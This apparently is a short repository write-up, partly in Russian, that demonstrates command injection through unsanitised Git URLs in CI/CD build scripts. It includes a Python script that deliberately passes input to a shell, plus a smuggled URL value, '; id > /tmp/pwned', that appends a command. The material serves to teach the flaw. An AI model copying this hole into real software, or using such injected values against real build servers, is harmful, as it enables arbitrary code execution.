george0papasotiriou/cve-2026-11120-command-injection-via-git-url-in-ci-cd-pipelineДемонстрирует внедрение команд через несанитизированные Git-URL в CI/CD-пайплайнах, включая уязвимый скрипт сборки и пример эксплойта для критической CVE.
# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys
def clone_and_build(repo_url):
# Vulnerability: repo_url can contain shell metacharacters
cmd = f"git clone {repo_url} /tmp/repo"
subprocess.check_call(cmd, shell=True)
# Build steps...
if __name__ == '__main__':
# Simulate attacker-controlled input
malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
clone_and_build(malicious_url)
Скрипт конвейера CI/CD использует непроверенные URL-адреса Git-репозиториев, предоставленные пользователем, в команде shell. Злоумышленник может внедрить команды shell, включив специальные символы (например, , ) в URL, что приводит к произвольному выполнению команд на сервере сборки.
;&&Запустите уязвимый скрипт:
python cicd_build.py
Он выполняет внедрённую команду id, создавая /tmp/pwned.